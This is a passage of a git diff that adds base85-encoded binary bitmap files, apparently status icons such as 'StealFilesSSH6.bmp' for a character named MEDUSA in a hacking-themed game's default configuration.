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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 zcmd^`2Y4G**7u#_-izF;Y)Q6ktJje<>NBG*%PsCsoZd-uii?U%;xs}M5=cm+1xRCo z5b6Sfu)r>)kN_c&Py$P;o#r&#-x(=k`B*lceZTkl^c+vFX70Une)oUQy;mbeV@W6c zye|)$nmw>R3rE$-V*rJvux|2MA(!rI?I(BC)Ef3^SW`Myghub=<^+S#wKo<4Zxk)cezimw(y=*89_*OUL*09^Z56rw@C7`djbMpgS%>^HqXeRTfV>*o(|JAdez zbDwYQ*}t}X-|FtYtH92Fw(9Jst9$mY?%wwpX?q{PVV^zT{Tn+=o?qP!mH)9Cnm~ax zIJ5tWo&%eD4n5m*c*pspZ(jQOliu!Q*Lu7A`>)>{_dT&*J$L-V(Oo@FFZ zS5F=N>+&yNU3_-$`YVT@hD&6H8|EDt=$srLK!3dZ(`7y1zIG2WefO*bkU{6ZJOAw~ zJqMraJ^(|%=G=j`=Rj1_)}1@B{`}_~K%r;a$77lK@@$qol`*%<^!=Vyy z#V<(-!OkDrc=_w64!*i%JfT8T7_zJa3!U}aqqBRzdWsx8ay$U;iE|J%q^&u-e_i*% zr_UdI?dru}{wuorZqnc1ckR-ND`yU0`uU@a$KJT`^^S92JVOe+|A}iyHa)jsvM3{O z#oDKL?LG9w3vcLzWz~q{_@32g_CE2?k5>Qq!K&jQtor$*$3W&UUR{DS_(j?=&+Od2 z>(c|Cj)%pGIqz<0xpH_TD;uTX{J1mtx!nNIT(!vM$p+s zY>_sL$q1y?TbIq5^4h|#gRktqT3<0|e37O1ZSg^dz_Dc>+6GH z{cV3x-ut&t`7ya#M!7f^<%i`;Bk8K7d_#`Jn2nfoWHyG}mMe#&l_59fAjWJdK^3F% zdEy8fFEme@pjS{W1`c}s`=5T-?ft)faIC%+aPLR|C`FBuD4HpYS6Zm3;Od5PHDxT+ z!IWBaMHYs@n8P(>vkf_H6OC(O@NG;{QNFa4tr*79fR*ISh;)uPnl{o>`R$iq17H7x zSXq7J^x#;bzt8`^PnpNlrLyY;SZM)>CjcN*4hP_j*&G9vjc2j+83l@Xnlgb7GZ#)R zB(hnCY!*Rf8FM&B8rRAYlorbC_z zz-P+gnrUD>E1eHVLpDdBUMLFB5Qb&*L$V}MS^A7ZvKrK(^WbQtaex@;VPIb6=`3AFAyk0MMmi6qB?b0cdA>rK&VFy#+b=%3d0A`c zj!n;Bx^U@Nk?x^zAG)4Bb*9cxEKDp^(`@`0t|XqWPvMjnAOsn!Y$BUv1^2}aLpCQQO*C?`kfarAp?rf>ODmnNR_VXBZhg1C5JQIS|sIcNt5rj4zNR z(|J)MZLXCamosa`#H&}Y-UFqt$$hY{U9>_$6Ycr_`0IPG%$#^c6fH4jac#Lm$VGN= znv_D*q!;kQGQ=@VG?_>9qZo4(ZM7|J)y=L+OI%|YwAZ#cE9WSaxD3B|O`4DwK@&t~ zY18wCF;q@SnmUQ@U`n(}OnHj6b|vI9F)S~1f{WqGgu*Mte_Nis;H@aRvl7`#Iu~0bK7g0-4hl$ z7i@KQJm((O(NWhjyZ9kN1Y;7`FvB)UN?{cSr4$CIu!7UsL226L0$EI^l|O6gl7aVs z==*M9U|j8#mI*U`tfU)vIYr--u5c3w;3}GBN+E?ryx*lsIp1TU1z3P|M!XN*=> z8?t5Dez6vYy0vmn=LpYaeAFaj6ojs4bf&V}3EZJXUAJaBT9vSzwvLgxtg z+_D)UaJFBJqX4Uwmau}-S;1-I*t{~u^v9n4;GM6IP8c<%-ck1D7hiODcVEBz-NoIo zcAq)($%h}VT)u49)X5cAGdDAnN6p4X8g6(dD<}anj}w$NUR%F#RGU3di)YE)wJn~S zW>o;JRJG}J3P%B+%?Uf+7_tes-D+Y*V>64)1x zYOj-&<_}GUcxDF1Wrf5hL`6jg1Z2cUGg6Wy99CWBu=Q)#96S2$orm6(-XLfaRng>5=y}sODf@YFeNZFeu?T%%Yz4965)R%B>!k==6U^eHdytv(pslGT^|Z@>9wc)(C; zdg4qBEoNlVLxU3n0^$P$l7fR70SQx#W9OC6kSDU6%4T`0!N(SNRkOQdo~z#NYnIJxhk7oRn6_S z&S{njiX;xi`3QMM`p}4kpumK{z|^4NtgvulW>&3{s3uhL;XxC}jrJ}__sj|-b?w@< z>XOpT@Q{fbsh*aVIB0NUU|>>EP;zi^ihqbLU)MR@1C$f-QEgQ%&f%WcnX5=)0J>=% znVR!oAcMAf0~9=6BoY!94s?89m1cWAs1cL*KU_<>25|V}+G?gefgA)7RJ8y%-x0sx7sVg-7^5DUO z%uI~Qbg&8&{D&q4kf5Xm1hK=j<`hk9t0BXcj5^SA+Dhkw7d&-N&%`CJg)jkaan1K0 z$;pU}ULPoV{ze$XNNgpSpnusm5Ezyt_sDkV!Yxkdrvf6m6_jqTbxpy?(t;={At5l* zqz}QtaYKfpxzrgBH7hB)xp9U!jQ``|cC4>#-_D4OD-sBW8JQ7-2Pb(&O$-W59U5w; zsoKGd+E&+yb{Kt6y~i80+uO!1b~ml}iuzkz;Jaa-#eV_&4WE~FK2UlKupG@=?U}r^ zWy$u|)(rsatZH^Pw3D$?*#z5?)WFb`&`@Aa4ho9*58$T7PqWJ{yxi(yM{n<~Hj%et zC1d~jO`8gnlFdSighr1G2!QV4Ccv8GAJc$TbksVXBRg7KH@a(`u4yY;Ar2RAZ=1K? z)$trT?|_^)bOlN%Lr8D)EZjc5amBP*%iRmNJLiMlMEq6Sh1+0hYHQlq3Kd{F8^6do zqOBEzyv_ybTgEb_`iG{3hb9G+p1{l@%t@YVlU5)chsk*U+`0d#>cGIQSjlE2Yf2g} zkSKEVDZ#-oFOaMO0nDJ3DTXoa)veBP3!RI%w@rK)W*^8oayyy)4_AGjF zRIRf@v#>(DxS_fQ-riJq%ZU%-P!r@&i17*0~TCroV&V0)73fiQfK4k3eBQv zGncy;?Eq_A`cnJDue2|H#l7eyXQvmpYa2v{6GpCWv#aeHC$Pevveq>ct(L?v_36?K z|H#Ckfb{S%gM`^QOrxfzRF)L?Ub=W6x_Luif37; zHrgL*t7>*lUJAN87n0ip;B()MRd?5pN#hq)6-})zojGQNr*Y2O`73sftZkiG_SeqY z17HtT|GlPUZs&?!jq}z|7`JeE)x7$uxzlE>c6UKwL*l~r3T9@K7({LDdcifi6K447 z=1KEPX26yzd2lF^I~Zxsl6DT?wNL_ zvvHtf7HJN7BQ7xUDS3h@IznM_!?TomdUD!=#fJ=LG6i7s+`15sBrD9uuy}Vhv=tZP z5q|#RLxxBTbL(xIsa93CzhAqv$qV`)m)P6o>($Gbtr|3s5^oTS(fs_}v&|Bw$NCqt?`WOnp-ksthQdC z!WTvh8cbW7#(xJk+WxXMUQT3)VELR=Hq$d|I*aC zwHb&PZF7xVNN!Ooo8YsrHd8dz&o4G2%%+izFEdt)3uu8u);{*=EkuP&w_}AWQ%4R@ z^A9u&L|Qgml$)C#9UVJlkTy@$IlRqX+3cRZrnPI^f|akW-t_LWWn0>tSGwjr-05Du z{IOl5DyD1LIIO9zsmt0%cXm!+Il1^D6GJVI6GozEdO z>G0CY%T~VJ-twqx_R{v&)sL*$wrbOR9gpm6>DuafXt`%ta~mw)m2;_K$$^6g$?_Ss zR(zseZ=fb|C{f$DJbxdozCB3C?8fB5LzMJfqe!ISunV%OutB6oL^Zn$@(yz4Rql%f_~r_460+XzzTkzIf8; z${8K=pYL3}-7{~U)48c_*((oCUr`W|jkC1XhU%#e(;Fu?PpF<)g%{Tl6-yRvTE5{O zSL-Ivq({2Obd69~4D}mCPf94$D#n$VYZL-qYP>ij>CIg`@0;~uS1Z-uUz(PVbJzxn zNX}*Frl!OU9;7XhdD=IxeCoZ)b<+$&;)$o;-uc1#gXaeh{B+{gzkT}5OS|9N_uZti zvns6PS8e{NsdG!~{Ou5v^A~Pg(EePP=NaH`UHq4p1>2kEZ&|(hBOEEJuNw362cJLt z>ie&MyzkJd?$1v5|K;5?D^|atVWM+qv@c!%j;m!;d!36)NskE$Hp-+GM$ObRo0ght zq-P+E?7x5f(S5T%xnemzI7CIwlxL({gaVUTh>7@FF;VeDhE@%mGH2duQKEeFD@S+i z8rZO*fAwQ~bcl)>lFEsq)|J(-SoIvj5G;Rm%gRmfZ`kqKf+d?B(vnF06w8bKPXqjOC$Uc?H^V1}pJaqGGbU#wr(_v(8CkFNbtlq6|t+q9r@ zgH>V;4Gh%s`NcZbs4}}v%u}W(7O`_>Z03=#$>+(pc-=BzeKEXy*QREN>MM*w%po^!dHKV|T^qPrc~i$VY4T;6eqr=M6kVQ3NiEcI z4Ld(LwdY9R>z|xgW|uTn&m37YIx0Anm7P_pR@NDbGPRPInrLU`6!Y?QGRfKQ?puJu zr8{8#;pkC8a)OneYsk+NCM9VLnI;L}B;sJ)d|p;^TJX?1$NbN`2M%8!Xm5Ws%P+i0 zphGh`nSPPfK{50pl=aWP*4D9Hldn)PgtMo+_n*GB@66=`-BKNOGA*iI@=ZOXUht zN-CP2F;c}T;?qlQ=DyoKe!3;AZUAE?;kn&ec!;eiA}VCm=VUZQW=pwD3&oeo-rt4(UOg?eEg4! z5fiDg$&%C*yAUx6#5S3{M5X2=B#BZ}iTvD|HaW&j9Xo2otwp_^u5cZ~7&aqQD~1v2 zNwpHLgr419TMz~fmtrJ~{D`HRPo z{aB8g=!4^FfeFHVeoAV3tiL~!onz&T$`RBql9y@pg()d{F|k--zM0MRRB5H@v2JIJ z&)ZuN-%eLw%0ArQCX0)%M|cE>VH5HA8L8Qn7&9U&*T{yc#O%~WW?CjIC&!>S@)PqQ zdS};7y3l>@v)vyyj-LJgx5t5IuNM)Hz`F0`!2Xl{B<{(9y`;u~+rR6RFIy(e`{n!N zXHK3f(Hg`2{Gx^oi5u$AOi0$Tcs7tzEFY%QIpm7GgruyfD2&Z9^0-B!ysqJTRzl3i z4eK8e>(?*Yb)tIFSFDsLsmd0ZgHhQ|AeEq$h z|2Xp5$?IQU9Qf+ez~RdSUtbycs+TN(-8*m?3K#o6JbHTV_FWTZ%te*j=zzfJz(7WF zGAkpKlaXnW$t!eNr4D9nRGyoc6&cA%&wyK)r4m@_^?c3LTmq(-?+$Y4-oVnGIsFCqjYn+zFl zwbYmlH5Q8`H;wNRd zuMYoV;m&mJyMBFK!^nd0p=0y{T*M({0s;{lWMZRKVw53f7zUv*KP@dKB0N1J0?A`k z8L&E&p^6|h96lkH4KrJ6Z1!PBqfLz}xok-;T|lGaVv$KEH7n&s8kIw(k{1>tg)FOD zTUS(EV=penj2voCYGgD$F;T(gn3SjqRhZ;5vkbAo9pw@;g4o0boi%7~Ld2paO91Y+ zxOc`1Jw3K^MN+`vu^N^g;Tfd@3=!!O5dniMlM-^dNue;Ks7@^AGw2zyG4wc!gvQWu z1&RW;RjIBka@5%!wf3Sav#H#OJJc#2pI2=*3^V8}Kz^&G+G5d(#8$PYOoy3d3L!l& zBZ`s{M-dei5~$LsQsWBLfXWPV1h&CuL~4*pAhv3>thO3ed_>5u*WY-cth?WNCxt?( z6f!DNAtB{sGNBF;VTc%)A>aa`kP`}p0aaMk8pt*Ui(8nMnH3Y45*|s7ix)ET^g^*i zqbtR*8ndZ_zzt$yLy@h@M3n3G7P(x_<1tgy=!wahv6QUX_`I}CDVs}Ds?~&2X+Ti| zMR6aiTxya_fK@MMPcIXVBsiJWjKfC`|6$Pn?&KZodh*0Cd^QVBqm0msF+`x3iGWp) zNN^Gq!GRT37?j|Y!icI&YPAtX^%6wR;c{qndQwVSWOQ<9cxprhJjj7>ycmf|@P$lH zTzqv}Am*lKaA*t#Pe`C@s~)rH^hT`)S1EDm)7veu;tIr|KnS@6N5mFs!O{j) zk``q!8_%8V`5o3DzP&S6-%fMNqzNgZfx~qIgG`{42_c3t2w?L5G8~m-r~>o(r9?>w zRb=d$H9ETvw}bB*tzIhS)9JaXsp&B>Q6a&pF>%bSY$=_bWlK% zIM0rXwVSP_AjLcUr|r3MT` zm<87x^%{d#jj5G4a8U)|VoCs&>1Bvk%xNE^9Easo zD3tg2y#Mc5e|YB3Sba@*11)WF>JiD-dIPGX|`ru7p-is8kTc5Hz?F zl0~LhAUdg}M9o<{-M~$WKvBiTix>Wo?B7q`F{^Jz@9LT#6)>bhkJvS064c8IxG>_F zN`|X%u;N;j(5VbMm6ugx!L(Lf=QVwiQE%3$#4MJX(1BSA0M*+KU>K>Zw;GHJgaY6~ z%KBnhuTVo$|M=7W@X2!;D$=8Yz!!GvPMS*a(XL8!JY#nzUM@ zMoo|@>z#)caxE&=A>wik>&fZ3B8S3c~+z;LwRhnsNgyG9nTb zmFj_5g@CT4v>FAWRT#9WNv8%~O?r*ls}?9{H{!)+0$3FSp2KW#mr2^%u#@y8y&b5N*xm%2iWAAb0bTfh`i6DCz) zW)*;fi7};woH*2E82b#|Bw4{_l2r@wX(#j!16~Gcs#VJPoKlOi7;w!7yO9JfGLQn_ zh+!|QS*IdF)u>6Ow5sG55>z;;SoA_iNq$m@O07A4%J*G5ICV#_yJYo6%QG9-#RU$j z(efIKF$iN=_HZT4Pzd1a)p9Vv1y(R%1%rIGcmuWAh?RO-5gxn5V)RK1ltl#QAS=M+ zrL#k{!`NUNvsUc|MJ*b+MJ+d@NCn1yzP)G^!HftCd+Ftu0Pqf@*EbY*$?EGKzO5f# zU6mFdJiQ#Rv8weTtrC_UL=UEtk*peEMU7fgT2ft11Nmw<>WWP_SY=*Tn3IdWphX59 zn4Qr2%!X;K7{r9ytW{amuoqJpRWh@Rz1C%4JWdfY)UR>&>}%Jr-4!T!e)p`tG5YDp z9}%&b8XGpDSX*pT=|Np3IUD0D8AhfosjE?|y1`0HtFsw&4x_%*Opr0mi8p8 zJEpc_YAdF+=#*Bq!lsm2<%0Q>h;?%Nx{@&rxLOsNwICH4pL!6|qEpGe`C4QmY({bnAbLq%acvP8 zp((=EHe6-Hl@`!drLZV?O{4IYGcDPa5Qzjidh8h7{cc5tCilwfyVVy556UEx?q%Ah+%vw~&W0ja-R?-6~X*Z)6Vi<58 zB(BPiD{VTZ1?4x7Ar?=yWW@xEL{j+Cnop#AINmEOc`NUie-O+LyDchkr~_A2*lj7M7S{?j;o^&C6;dG$5xPS2=KHDXuEj zDM~PL>qKMA2u*5akVd6Cdh{rH+uJ<{CVl&(*Zr{G?C;cx6Jr`igar1P ztWd^<_?MTJ9{=&jn>W12e;))Z-1^d`i(Op{;^QgYJZeKZUSt4D1oi+%kX9u#s^lh( z+^j*ZS|xCpN!Gk#qc=6ZL2Dx;Ty4>#R)||%U8F;X+vN+UmyNXuV}txBOq|%=eHQL= zuY%qfn+L?|>+Ril-x2V5IZ08YN;D%&^k&$>DkVlpVwKFKQkc|olU4@GnN^6CeUp`( zj6h4JU8l6^6=uD{q7hH6*Dsw@W|7j;Vq+d&yx7T~anx8G!O zI7t!y4R~SOXv1i`(yS4ibVv!NDACKM1vERR0yAsmgi2Uy7SEkvXdH>>X2hhYBrjdm zb?aa6+}jBJX{_MR_dotHZRU)auyA%-^jMo@@-TflE-Tj~Wtd!ANGDlw)L}#>*6Qbs z#Z3xETv(9NKz#D?-+Uda_(p~+U{kNUpdHK(01%Z7UpE+}C-4l<)v!;}o@Q7gl 